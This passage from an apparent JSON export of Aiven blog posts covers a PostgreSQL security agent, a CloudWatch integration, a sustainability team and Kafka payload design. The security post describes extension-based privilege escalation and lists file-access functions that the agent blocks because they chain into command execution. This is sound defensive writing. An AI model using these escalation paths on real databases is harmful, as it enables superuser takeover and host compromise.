anyone in the security industry to put yourself in the developers’ place before you point fingers and say “not good enough” - it must be completely mentally exhausting to do your best for the greater good and find yourself getting kicked while you’re already down. \n\n## Taking a different approach\nOne of the many reasons I wake up happy to go to work every day is that Aiven’s investors, Board of Directors, and executive team have [empowered me to take a different approach](https://aiven.io/open-source \"Aiven ❤️ Open Source\") to this endless cycle of patching for symptoms. \n\nAbout six months ago, we started seeing an increase in bug bounty and internal product security findings related to issues in PostgreSQL extensions. We were experiencing this cyclical pain on behalf of the developers who work so hard on these extensions. We had to be the bearer of bad news and sometimes have multiple discussions about the same package with the same exhausted developers. Thankfully, we have a fantastic team here at Aiven and our Security Architect [Etienne Stalmans](https://twitter.com/_staaldraad \"Etienne Stalmans on Twitter\") hit upon a viable mitigation to the entire class of extension-related problems we had seen.\n\nIt’s not a complete solution. A complete solution would be to re-engineer PostgreSQL fundamentals that have existed for decades. But it’s a whole lot better than nothing at all!\n## PostgreSQL extensions and how Aiven implements them\nIn order to understand the solution, let’s examine how Aiven implements extension management for our customers. This gets a little technical, so I’ll quote Etienne directly:\n\n*Aiven allows customers to enable a [predefined list of extensions](https://aiven.io/docs/products/postgresql/reference/list-of-extensions). To get around the requirement of superuser access to install extensions, the [pgextwlist](https://github.com/dimitri/pgextwlist) extension is used to allow creation of extensions from a lower privileged user. pgextwlist functions by first elevating privileges to the default superuser, postgres, and then running the extension install scripts. This now exposes Aiven to the risk of privilege escalation attacks. This is clearly documented in PostgreSQL: [https://www.postgresql.org/docs/current/sql-createextension.html](https://www.postgresql.org/docs/current/sql-createextension.html).*\n\n*Should an extension installation script be written in an insecure manner, unfortunately a very common occurrence despite the [warnings in PostgreSQL documentation](https://www.postgresql.org/docs/current/extend-extensions.html#EXTEND-EXTENSIONS-SECURITY \"38.17.6. Security Considerations for Extensions\"), it would be possible for users to gain superuser privileges.*\n\n*Another common misconfiguration in extensions, which allows privilege escalation post extension creation, is the use of SECURITY DEFINER without schema qualifying functions within the SECURITY DEFINER function. Because the extension is created by the superuser, the SECURITY DEFINER functions will execute with superuser privileges. This can easily be abused to execute attacker controlled functions with elevated privileges.*\n\nThis balance between enabling customers and having Bad Things™ occur is a constant battle to ensure positive outcomes for our customers. \n## Are my extensions hostile?\nA nearly unanswerable question posed as we saw the increased number of these inbound issues with PostgreSQL extensions was how to do a better job of finding them ourselves? Enter [pghostile](https://github.com/aiven/pghostile) - an internal tool developed by the Security Engineering team, that we’re excited to open source today! \n\nFrom the project readme.md:\n\n*Pghostile can make PostgreSQL an hostile environment for superusers and a nice playground for attackers. Pghostile is an automated tool for overriding \"system\" functions (the ones from the 'pg_catalog' schema) allowing an attacker to elevate privileges if/when these functions are called by a superuser.*\n\n*It can be also used to test the security of the PostgreSQL extension. You can run pghostile to create the \"exploit functions\" and then run the extension's unit tests and see if you get superuser power after that.*\n\nAs it turns out, there are a lot of these sorts of issues in PostgreSQL - pghostile checks for about 900 of them at this time (pull requests welcome!). We are joining some excellent company with this release. The fantastic tool [pgspot](https://github.com/timescale/pgspot) by Sven Klemm from Timescale allows for easily identifying common misconfigurations in PostgreSQL extensions. \n## Securing extension privilege escalation\nOpen-sourcing a tool that helps look for even more of these vulnerable extensions sounds like a “typical security move” - making things worse instead of better. That’s not the Aiven way at all - our values of Ownership, Openness, and Courage push us to be better than that. We needed to protect our customers from this entire class of extension-based privilege escalation attacks, but we could also go ahead and help protect the other millions of PostgreSQL databases out there if we went ahead and open sourced the solution we built for our customers. \n\n[The Aiven Security Agent for PostgreSQL](https://github.com/aiven/aiven-pg-security) (aiven-gatekeeper) allows controlling which privileged functions are exposed and prevents their abuse in common privilege escalation attacks controlling which functions are available in elevated contexts, such as extension creation and security definer functions.\n\nThe agent is loaded as a shared library at PostgreSQL server startup and uses the UtilityProcess hook to intercept the utility function execution before the PostgreSQL engine executes them. A security decision can be made by examining the current execution state and determining if a privileged action should be allowed or not.\n\nThe agent uses the following three criteria for making a risk assessment before allowing or disallowing a function:\n\n- `creating_extension`\n - The function executes during the CREATE EXTENSION function.\n- `is_elevated`\n - The execution context is deemed to be \"elevated\" when the current_user is a superuser but the session_user does not have the superuser privilege. This occurs during CREATE EXTENSION or SECURITY DEFINER function execution.\n- `is_security_restricted`\n - PostgreSQL can set the current execution context to SECURITY RESTRICTED and already limits some of the actions that can be performed during this context. The agent complements these existing restrictions.\n\nThe security agent examines three primary utility functions:\n\n- ALTER/CREATE/GRANT ROLE\n - When altering, creating or granting a role with the superuser privilege.\n - Prevent granting the privileged permissions: `pg_read_server_files`, `pg_write_server_files`, `pg_execute_server_program`\n- Prevent adding a role to an existing role with the above privileges.\n- COPY TO/FROM PROGRAM\n - This is normally reserved for the superuser or roles with the `pg_execute_server_program` permission. This is always blocked, regardless of the context. There is no reason, on the Aiven platform, for execution of underlying host commands from within PostgreSQL\n- COPY TO/FROM FILE\n - This functionality is normally reserved for the superuser or roles with the `pg_read_server_files` or `pg_write_server_files` permission. This is blocked during an elevated context.\n\nThe security agent also blocks access to certain built-in functions and their derivatives:\n\n- `pg_read_file`\n- `pg_read_binary_file`\n- `pg_reload_conf`\n- `lo_import`\n- `lo_export`\n\nThese functions all allow read or write to the underlying filesystem, and can be chained together to achieve command execution.\n\nAnd finally, there are some restrictions on what can and can't be written to the internal tables `pg_proc` and `pg_authid`.\n\nThe agent is designed to sit quietly, not interfering with legitimate PostgreSQL functionality, and thus not interfering with customer workloads or data. All efforts have been made to ensure that there is no performance impact. Like most good security guardrails, you shouldn’t know it is there until it is actually needed. \n## Trust is earned… and verified\nIt’s one thing to write some software that claims to solve a significant class of security vulnerability. Trusting the authors of that software to do a good job and install it on the production systems that are responsible for the durable storage of your data is another thing entirely. This is something that we understand viscerally as we experience this burden not only ourselves but shared with our customers. \n\nTo validate that our work was as good as we thought it was, we reached out to friends, ex-colleagues, and anyone we could think of to review our work and provide a second (third, fourth, n-th!) opinion on the architecture and implementation of the solution. Over the last few months as we worked through development, several of these reviewers have actually implemented the Aiven Security Agent for PostgreSQL in their production environments and we know it now helps to protect millions of databases in as many different implementations as we could find. \n\nDespite this earned trust from our professional peers, that’s still not the best we can do. We reached out to one of our application assessment and penetration testing partners [Leviathan Security Group](https://www.leviathansecurity.com/) and asked them to provide us a Statement of Work to evaluate the Aiven Security Agent for PostgreSQL that would allow us to publish the results. \n\nI am personally very pleased to have been able to sign off on that SoW and have the work completed - third-party validation of open source projects is still a rarity. You can read their [full report here](https://github.com/aiven/aiven-pg-security/blob/main/docs/20220805%20Aiven%20Oy%20-%20Aiven%20Source%20Code%20Audit%20Retest%20Final%20Report.pdf \"Aiven Source Code Audit Retest Final Report | PDF\") as well as a [letter](https://github.com/aiven/aiven-pg-security/blob/main/docs/20220805%20Aiven%20Customer%20Letter.pdf \"Aiven Customer Letter | PDF\") suitable to share with your audit, risk, or compliance staff. We are also including these documents as part of the source repository and will renew them as significant code changes are made to the project. \n## In conclusion\nThe approach taken is to maintain original service functionality as far as possible. Aiven does not aim to run a custom fork of PostgreSQL, and customers who migrate from their own self-hosted PostgreSQL instances should know what to expect. By using the PostgreSQL hooks mechanism, it is possible to extend existing PostgreSQL functionality and add additional security in a safe and predictable manner. This also makes the solution portable between PostgreSQL versions. Best of all, it makes it dead simple to open-source the solution and anyone can incorporate it into any existing PostgreSQL instance without a redeploy or fundamental changes to the system.\n\nThe agent cannot be a “100%” solution as it operates within the design limitations of the PostgreSQL extension mechanism. Although this does not prevent all possible privileged actions that could be done, such as bypassing row level security (RLS), it does take the sting out of possible post exploitation actions. This also allows for building solid monitoring and alerting around extension installation and privileged context, enabling the detection of malicious actions.\n\nAll Aiven for PostgreSQL customers have had the protection of the Aiven Security Agent for PostgreSQL for all new instances launched since 2022-07-08, or if they completed the [maintenance updates available since then](https://aiven.io/changelog) (99.91% of all PostgreSQL instances at Aiven). If you haven’t had a chance to implement this maintenance, please do so as soon as practical to take advantage of this added protection.\n\nIn the words of people far wiser than I, something is infinitely more than nothing, and I’m very privileged to lead this fantastic team of security engineers, developers, and architects at Aiven with complete support from above. \n\nI believe we’ve provided something genuinely useful to the community and although my personal contribution to the code is nothing at all, my team has performed awesome work. Special thanks to investors, Board members, Exec team members, Open Source Program Office staff, friends and ex-colleagues who tested our work, unnamed third party organizations (you know who you are!), the Leviathan Security Group team, the development teams for both PGhostile the Aiven Security Agent for PostgreSQL, and especially our customers for giving us another opportunity to earn your Trust. \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n","categories":[{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-08-11T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL extensions provide great functionality for users, but they are difficult to provide securely. Aiven has an open source solution to this problem!","metaImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"metaTitle":"Aiven Security Agent for PostgreSQL®"},"slug":{"_type":"slug","current":"/blog/aiven-security-agent-for-postgresql"},"subtitle":"PostgreSQL extensions provide great functionality for users, but they are difficult to provide securely. Aiven has an open source solution to this problem!","title":"Aiven Security Agent for PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2022-10-06T05:43:32Z","_id":"9193ac82-e768-43d3-930c-4d99ad8bcf81","_rev":"VeNKqGNmt13PzvGhqsS0pc","_type":"post","_updatedAt":"2024-01-29T15:38:16Z","authors":[{"_key":"5832308829fe","_ref":"4u9AY0PiaCCkrz1PHfwCfy","_type":"reference"}],"body":"In this article, we'll take a look at Aiven Amazon CloudWatch integration, a handy-dandy integration between Aiven services and the [CloudWatch](https://aws.amazon.com/cloudwatch/) service from Amazon Web Services (AWS). \n\nAiven's Amazon CloudWatch integration allows you to send your Aiven services metrics and logs to Amazon CloudWatch. This means you can monitor your Aiven and AWS services performance from a single place. Read on to learn how to use and configure this integration.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/315e2efb1b0095bdf70482ae2da6f136c7fae4ec-2000x1044.png)\n\n\n## Why CloudWatch?\n\nAmazon CloudWatch is used to store and **monitor metrics**, store and **monitor logs**, **configure alarms**, and automatically **trigger changes** in your AWS services. \n\nThose are powerful CloudWatch features that you can use not only with your AWS services but with your Aiven services metrics too. For example, you can configure your CloudWatch to perform auto-scaling on your [ECS](https://aws.amazon.com/ecs/) and [EC2](https://aws.amazon.com/ec2/) services based on a specific Aiven service metric. \n\nIf you're already using CloudWatch for your AWS services, it can be useful to have all the metrics in one place. This makes it easier to analyze your data, monitor resource utilization, and implement automation. \n\nAnd speaking of data... in the next section, you'll find more about your Aiven services metrics.\n\n## Metrics: which ones suit you?\n\nIf your services could talk, they would speak through metrics and logs. So if you want to improve your system performance and avoid failures, put your service’s metrics to work for you. \n\nAiven provides lots of metrics that you can use to monitor your services, such as:\n\n- The system and specific services\n- The number of running processes\n- Memory used\n- CPU status\n\n([Here's a list of all the metrics supported by Aiven services.](https://help.aiven.io/en/articles/5144867-aiven-service-metrics))\n\nIt's wise to send only metrics that you are interested in monitoring. You can disable or enable Aiven metrics, like so: \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/03d524073e3bd5a1548d778567ffbc840b13a1c8-2000x937.png)\n\nYou can also pick which [additional metrics are sent](https://help.aiven.io/en/articles/5144953-additional-service-metrics). This helps avoid noise in your data and resource waste in your AWS account. \n\n## Configure your CloudWatch metrics integration\n\nNow that we understand CloudWatch and Aiven metrics, let's learn how to configure them.\n\nUsing the [Aiven Console](https://console.aiven.io) and this [step-by-step CloudWatch integration guide](https://aiven.io/docs/integrations/cloudwatch/cloudwatch-metrics.html), you can configure your Aiven service to send its metrics to your Amazon CloudWatch service.\n\n1. Configure the endpoint between the Aiven service and Amazon CloudWatch, including namespace.\n2. Go to the Overview page of your Aiven service on the **Aiven Console** and, in **CloudWatch metrics**, select the endpoint where Aiven should send these service metrics.\n3. Go to your AWS account. Under **CloudWatch**, you can see your metrics data flowing within a few minutes. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/551a72db9e92e703d08c1676bf8a4a288f2ce2de-2000x986.png)\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/5946b524485081c2d4e89586b3bd469d945112c3-2000x813.png)\n\nWhen you configure the endpoint, you have to pick up a namespace. A namespace is a container for CloudWatch metrics. Metrics in different namespaces are separated from each other. With Aiven you can send metrics to multiple namespaces by configuring multiple endpoints where you wish your data to go.\n\nTo configure your integration, you need your AWS access and secret key for the credentials. Aiven does not currently support the IAM Role/Policy for the credentials.\n\n## API\n\nThe Aiven REST API gives you access to Aiven services, including their integration. Using the Aiven API is very useful for automating management of your Amazon CloudWatch integration. \n\nFor example, you can use the [Aiven API](https://api.aiven.io/doc/#operation/ServiceIntegrationCreate) to create a new service integration, delete it, or gather information about it. You can check in specifically for CloudWatch metrics by specifying ``integration_type`` as ``external_aws_cloudwatch_metrics``. \n\nAlso check out the rest of the [Aiven service integrations API documentation](https://api.aiven.io/doc/#tag/Service_Integrations). \n\n## What's next?\n\nSending your Aiven services metrics to your Amazon CloudWatch can be a great way to gather insights about your services using real data, and combine them with other services metrics. \n\nThe Aiven Amazon CloudWatch integration doesn't stop here - you can also [send your **Aiven service logs** to your Amazon CloudWatch](https://aiven.io/docs/integrations/cloudwatch/list-cloudwatch-logs.html \"Aiven developer documentation\") to learn how to configure it.\n\n----\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds and take a look at our [documentation](https://docs.aiven.io/), and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"83580e6c16b9","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"98b4acb4edd5","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-7f602feea817fdc77686587e1b08155b96fdbed8-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-13T08:50:00.000Z","slug":{"_type":"slug","current":"/blog/watch-your-aiven-metrics-with-cloudwatch"},"subtitle":"Send your Aiven service metrics and logs to AWS CloudWatch with the Aiven Amazon CloudWatch integration. Find out how.","title":"\"I see you\" - Watch your Aiven metrics with CloudWatch"} {"__i18n_lang":"en","_createdAt":"2022-07-04T12:14:42Z","_id":"1WyAWQ2EwNucHT85SFMK5S","_rev":"ZLvKaZvfbZlWBlGcpNAd9Y","_type":"post","_updatedAt":"2024-01-31T11:19:36Z","authors":[{"_key":"5fYUWMm3ZG5VcjiuAbRcvr","_ref":"5fYUWMm3ZG5VcjiuAbRcvr","_type":"reference"},{"_key":"0d0115395481","_ref":"58912853-4629-4f99-97ce-d0b36b387f57","_type":"reference"}],"body":"## Program goals\n\nFollowing our recent [Sustainability and Social Impact Commitment](https://aiven.io/blog/sustainability-and-social-impact-commitment \"Sustainability and Social Impact Commitment\"), we’ve been working hard to develop a plan that will help us stop climate change and increase equal access to technology. \n\nWe’ve put in place some key policies that we believe can make a difference: \n\n\n- We want to provide clean and efficient data infrastructure for our customers. \n- We will promote diversity and inclusivity as a company both externally and internally.\n- We will lower the barriers to accessing new technologies.\n- We will promote healthy communities around open source projects that contribute to the development of our society and economy. \n\nTo realize these ambitious goals, we’ve created a Sustainability and Social Impact team full of dedicated and passionate Aiveners to take lead roles on specific tracks, or contribute to the program in other vital ways.\n\nWe’re happy to introduce them to you here:\n\n\n- __Heikki Nousiainen__ - Field-CTO and co-founder at Aiven, focusing on the External Climate track\n- __Sanna Putila__ - DEI Lead, focusing on the DEI track\n- __Josep Prat__ - Open Source Engineering Director, focusing on the External Social Impact\n- __Klaus Schaller__ - Workplace Experience Manager, and Internal Climate Track Lead\n- __Ewelina Grajko__ - Sustainability Lead, driving the Sustainability and Social Impact program\n\nRead on to learn about their focus areas and how they will contribute to Aiven’s sustainability goals. \n\n## 1. Why is it important for companies to have Sustainability and Social Impact Programs?\n\n### Heikki - Climate: \nFirst, because it’s the right thing to do - climate change is one of the most pressing issues of our time that’s posing a threat to our environment, economy, and way of life. If companies have the power to help combat climate change, they shouldn’t remain just a passive bystander. Second, it also makes good business sense. By adopting sustainable practices, we will attract new customers while optimizing costs. It will also boost employee morale and help us find the best and brightest talent also in the future. \n\n### Sanna - Diversity and Inclusion: \nPlenty of research shows that diverse and inclusive organizations are more effective, creative, and productive than others. An [extensive McKinsey report from 2020](https://www.mckinsey.com/featured-insights/diversity-and-inclusion/diversity-wins-how-inclusion-matters \"'Diversity wins: How Inclusion matters' on the McKinsey website\") states that companies with wide cultural and gender diversity outperform their peers financially even by half. \n[A study by Accenture and Girlswhocode](https://www.accenture.com/_acnmedia/PDF-134/Accenture-A4-GWC-Report-Final1.pdf#zoom=50 \"'Resetting Tech Culture' by Accenture and Girlswhocode\") in 2021 included a staggering number: half of the women working with tech in the US drop out of the industry by age 35 because of exclusive cultures. Iconic [research from Google](https://hbr.org/2017/08/high-performing-teams-need-psychological-safety-heres-how-to-create-it \"'High-Performing Teams Need Psychological Safety. Here’s How to Create It' by Laura Delizonna\") shows that teams with psychological safety - a byproduct of Inclusion - perform best and are most creative at problem-solving. \nThese are all clear and proven business cases for Diversity and Inclusion done right. \n\n### Josep - Social Impact: \nWhen people join new companies, it’s not enough to have good working conditions and good pay only. We also need employers to work on impacting climate action, diversity and inclusion, and social causes. So if companies want to be competitive in the hiring market, these actions must be part of their DNA. We need them to walk the talk and not only focus on PR campaigns.\n\n### Klaus - Internal Climate Track:\nLooking into reducing our carbon footprint actually is not just about the climate, it’s needed to ensure that we have a planet we can live on. What could be more important than that? We – as a company as well as individuals at Aiven – have a responsibility to contribute to reaching global goals to limit climate change. Companies and organizations can all support this by setting up proper measures and policies so that we reinforce our employees’ behaviors in a sustainable way.\n\n### Ewelina - Sustainability Lead\nClimate change is real, and the social implications that result from climate change are huge. No company should underestimate the impact it can have, not only on the global ecosystem, but also on local communities. It’s vital that we start investing in climate action today – or, quite frankly, yesterday. It’s important that all companies understand that this isn’t only about measuring and decreasing one’s carbon footprint. It is also about investing in any movement that helps us build a more just, diverse and equitable society that can be more creative when finding solutions to problems such as climate change. \n\n## 2. What are some of the key areas of focus of the program for the upcoming months?\n### Heikki - Climate: \nMy primary efforts have mostly gone into understanding and calculating the carbon footprint of the services that we provide. This includes studying [Cloud Carbon Footprint](https://www.cloudcarbonfootprint.org/ \"Cloud Carbon Emissions Measurement and Analysis Tool\") methodology and collected data, as well as creating tools for pulling the actual usage information from our production per service basis. \n\nThe usage information includes number, types and location of cloud virtual machine instances running, as well as numbers such as CPU and network usage. With these inputs, and using Cloud Carbon Footprint data, we can calculate estimates on energy usage and derive estimates on the emissions resulting from running a single service.\n\nOnce we've proven and validated our initial results with industry experts, we aim to make these numbers available to all of our customers for all their services.\n\n### Sanna - Diversity and Inclusion: \nCurrently, we are measuring the state of diversity and Inclusion at Aiven by running an internal survey to know where our development opportunities lie. We are working on channels, processes, and training to ensure that harassment is always taken seriously and acted upon, and everyone can feel safe to report any misconduct. \n\nWe are working with Employee Resource Groups to create environments where people can find support and resources from their peers and raise issues. We are looking at how well our people processes recognize the needs of different people and tackle biases, for example, in performance evaluations. \n\nAt the same time, we recognize that much is still to be done. Aiven’s workforce today is not as diverse as it could be. We are working towards ensuring that all of our processes treat people fairly, and that Aiven as a company is an environment where everyone can thrive as their authentic selves. \n### Josep - Social Impact: \nI’ve created an ambitious high-level roadmap on how Aiven can impact societal change, empowering groups who are typically left out of the conversations. In the upcoming months, I plan to narrow down this high-level plan and develop actionable items for the short and medium-term. For example, I aim to create shortlists of Open Source projects focused on grand challenges and nonprofit organizations focused on code. Engaging with these projects and communities will help Aiven maximize our impact and champion social good. \n\n### Klaus - Internal Climate Track\nIn order to change something, you need to first understand where you are at right now. We’re currently putting a lot of effort into ensuring our carbon footprint is measurable so that we can develop and track the actions needed to reduce it. We’ve already reviewed our internal travel and event guidelines to include sustainability as a key factor when planning. But as a growing and increasingly global organization there is much to be done, and measuring our regional office footprints will be one of the upcoming focuses.\n\n### Ewelina - Sustainability Lead\nThere’s a lot of work happening simultaneously in all of the program tracks, but let me share one highlight for me. We’re currently in the process of getting visibility into our carbon emissions by using the [Plan A Carbon Manager](https://plana.earth/ \"Plan A carbon and ESG reporting for businesses\"). Understanding our footprint will inform our strategy and we have ambitious targets in mind. We’ll keep you posted about building our Sustainability report.\n\n## 3. What is the strategic value your role and track will bring to Aiven?\n\n### Heikki - Climate: \nBeing able to provide transparency on the carbon footprint of the running Aiven services is essential for our customer reporting obligations. That said, our ambition is to help our customers to also reduce those emissions through offering recommendations on rightsizing or providing fair comparison between for example different deployment locations.\nInternally, we will be using these same calculations to optimize our own usage and emission profile.\n\n### Sanna - Diversity and Inclusion: \nSucceeding in creating a diverse and inclusive company will help Aiven leverage the entire talent pool available. It will also make sure that everyone working at Aiven can engage and connect with the company. This way they can thrive based on what they achieve, not who they are. Successful Diversity and Inclusion management is a way for us to perform at our best. \n\n### Josep - Social Impact: \nWe’re strong believers in open source and want to enable more people to use and develop open source projects close to their hearts and minds. We also believe encouraging our employees to contribute to open source projects with a positive social impact (as well as supporting such projects financially) can boost a workplace atmosphere and improve brand perception. \n\n### Klaus - Internal Climate Track\nI believe there needs to be a shift in perspective from companies being shareholder-driven to stakeholder-driven. Rather than focusing only on shareholders (people who own a part of Aiven), we should shift our focus to stakeholders: the people who are impacted by what we do. By doing this, we can more clearly understand how our choices and actions affect our customers, our employees, and future generations, as well as our investors, partners and shareholders. I’d like to see us changing our perspective from delivering unilateral benefits to creating and contributing to a holistic and sustainable ecosystem for all stakeholders.\n\n### Ewelina - Sustainability Lead\nMy role is to act as the glue for the three tracks of our program: Sustainability, DEI and Social Impact. I’ll be supporting the core team with goal setting, alignment on what’s most impactful and working with other leaders across the organization to understand how to build and implement a sustainability strategy at Aiven. My goal is also to help Aiven deliver sustainability leadership so we can support other companies and contribute collectively to a better future.\n\n\n## Wrapping up\nWe’re really excited about our Sustainability and Social Impact program and the positive impact it will make on the planet and its people. We have big plans for the future - we’ll keep you updated on our progress! \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"5kZZK0B9b8ouIUDgjaDOmZ","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"mainImage":{"alt":"Laying the groundwork for Aiven sustainability","asset":{"_ref":"image-2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-15T09:50:55.335Z","related":[{"_key":"6fbeac7d48bd","_ref":"258bc7bc-786c-445f-83e5-87502edbfef1","_type":"reference"},{"_key":"2fd1cde8fbab","_ref":"70Tx3E8y7y9dUZN8Xkmn9v","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven’s Sustainability and Social Impact program is off to a great start! Get to know our team and see how things are kicking off. ","metaImage":{"alt":"","asset":{"_ref":"image-2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844-png","_type":"reference"}},"metaTitle":"Introducing the Aiven sustainability team"},"slug":{"_type":"slug","current":"/blog/introducing-the-aiven-sustainability-team"},"subtitle":"Aiven’s Sustainability and Social Impact program is off to a great start! Get to know our team and see how things are kicking off. ","title":"Introducing the Aiven sustainability team"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4oFbDL0KjSdK47RBp9riXM","_rev":"ZgPiUE9lJ1tcRKuFnZyssv","_type":"post","_updatedAt":"2024-07-11T12:07:04Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"Getting the different components in your systems talking nicely to one another relies on a rather mundane but crucial detail: a good data structure in the message payloads. This article will pick out some of the best advice we have for getting your Apache Kafka data payloads well designed from the very beginning of your project.\n## Use all the features of Apache Kafka records\nThe events that we stream with Kafka can support headers as well as keys and the main body of the payload. The most scalable systems use all these features appropriately.\n\n![Diagram showing the header, key and value as boxes inside the payload](//cdn.sanity.io/images/sczeoy4w/production/05562312bba1dca72062ee8e0491d1f0390e155f-1567x844.png \"Basic event data structure\")\n\nUse the header for metadata about the payload, such as the [OpenTelemetry](https://opentelemetry.io) trace IDs. It can also be useful to duplicate some of the fields from the payload itself, if they are used for routing or filtering the data. In secure systems, intermediate components may not have access to the whole payload, so putting the data in the header can expose just the appropriate fields there. Also consider that, for larger payloads, the overhead of deserializing can be non-trivial. Being able to access just a couple of fields while keeping the system moving can help performance, too.\n\nThe keys in Apache Kafka typically do get more attention than the headers, but we should still make sure we are using them as a force for good. When a producer sends data to Kafka, it specifies which topic it should be sent to. The key usually defines which partition is used. If the key isn't set, then the data will be spread evenly across the partitions using a round-robin approach. For a lot of unrelated events in a stream, this makes good use of your resources.\n\nIf the key you're using doesn't vary much, your events can get bunched into a small number of partitions (rather than spread out). When this happens, try adding more fields to give more granular partition routing. Keep in mind that the contents of each partition will be processed in order, so it still makes sense to keep logical groupings of data.\n\nFor example, consider a collection of imaginary factories where all the machines can send events. Mostly they send `sensor_reading` events, but they can also send `alarm` events, that are like a paper jam in the printer but on a factory scale! Using a key like this will give us a LOT of data on one partition:\n\n```json\n{\n \"type\": \"sensor_reading\"\n}\n```\n\nSo we could add another field to the key for these readings, maybe to group them by factory location:\n\n```json\n{\n \"type\": \"sensor_reading\",\n \"factory_id\": 44891\n}\n```\n\nCombining the type and factory in the key ensures that records of the same event type and the same factory will be processed in the order they were received. When it comes to designing the payloads, thinking about these aspects early on in the implementation process can help avoid performance bottlenecks later.\n## Data structures: nested data, or simple layout\nNo matter how certain I am that this payload will only ever contain a collection of things, I always use an object structure rather than making the data an array at the top level. Sometimes, it just leaves a rather lonely fieldname with a collection to take care of. But when things change and I _do_ need to add an extra field, this \"one weird trick\" makes me very grateful.\n\nMake no mistake, it's not foresight. It's the scars of the first API I ever shipped having to move to v1.1 within a week of launch for precisely this reason. Learn from my mistakes!\n\nIn general, it's also helpful to group related fields together; once you get 30 fields in a payload and they are sorted alphabetically then you will wish you had done something differently! Here's an example showing what I mean:\n\n```json\n {\n \"stores_request_id\": 10004352789,\n \"parent_order\": {\n \"order_ref\": 777289,\n \"agent\": \"Mr Thing (1185)\"\n },\n \"bom\": [\n {\"part\": \"hinge_cup_sg7\", \"quantity\": 18},\n {\"part\": \"worktop_kit_sm\", \"quantity\": 1},\n {\"part\": \"softcls_norm2\", \"quantity\": 9}\n ]}\n```\n\nUsing the `parent_order` object to keep the order ref, its responsible person, and any other related data together makes for an easily navigable structure, more so than having those fields scattered across the payload. It also avoids having to artificially group the fields using a prefix. Don't be afraid to introduce extra levels of data nesting to keep your data logically organised.\n\nHow *much* data to include is another tricky subject. With most Kafka platforms limiting payloads to 1MB, it's important to choose carefully. For text-based data, 1MB is quite a lot of information, especially if a binary format such as Avro or Protobuf is used (more on those in a moment). As a general rule of thumb, if you are trying to send a file in a Kafka payload, you are probably doing it wrong!\n\nThese design tradeoffs are nothing new and I rely mostly on the prior art in the API/webhooks space to inform my decisions. For example, [hypermedia](https://en.wikipedia.org/wiki/Hypermedia) is the practice of including links to resources rather than the whole resource. Publishing messages that will cause every subscriber to make follow-on calls is a good way to create load problems for your server but hypermedia can be a useful middle ground, especially where the linked resources are cacheable.\n## Data Formats: JSON, Avro ... these are not real words\nWading through the jargon of data formats is a mission by itself, but I'd like to give some special mentions to my favourites!\n\n**JSON: Keep it simple** JSON formats are very easy to understand, write, read and debug. They can use a JSON Schema to ensure they fulfil an expected data structure, but you can equally well go freeform for prototyping and iterating quickly. For small data payloads, I often start here and never travel any further. However, JSON is fairly large in size for the amount of data it transmits, and it also has a rather relaxed relationship with data types. In applications where either or both of these issues cause a problem, then I move on from JSON and choose something a bit more advanced.\n\n**Avro: Small and schema-driven** [Apache Avro](http://avro.apache.org/) is a serialisation system that keeps the data tidy and small, which is ideal for Kafka records. The data structure is described with a schema (example below) and messages can only be created if they conform with the requirements of the schema. The producer takes the data and the schema, produces a message that goes to the kafka broker, and registers the schema with a schema registry. The consumers do the same in reverse: take the message, ask the schema registry for the schema, and assemble the full data structure. Avro has a strong respect for data types, requires all payloads conform with the schema, and since data such as fieldnames is encoded in the schema rather than repeated in every payload, the overall payload size is reduced.\n\nHere's an example Avro schema:\n\n```json\n{\n \"namespace\": \"io.aiven.example\",\n \"type\": \"record\",\n \"name\": \"MachineSensor\",\n \"fields\": [\n {\"name\": \"machine\", \"type\": \"string\", \"doc\": \"The machine whose sensor this is\"},\n {\"name\": \"sensor\", \"type\": \"string\", \"doc\": \"Which sensor was read\"},\n {\"name\": 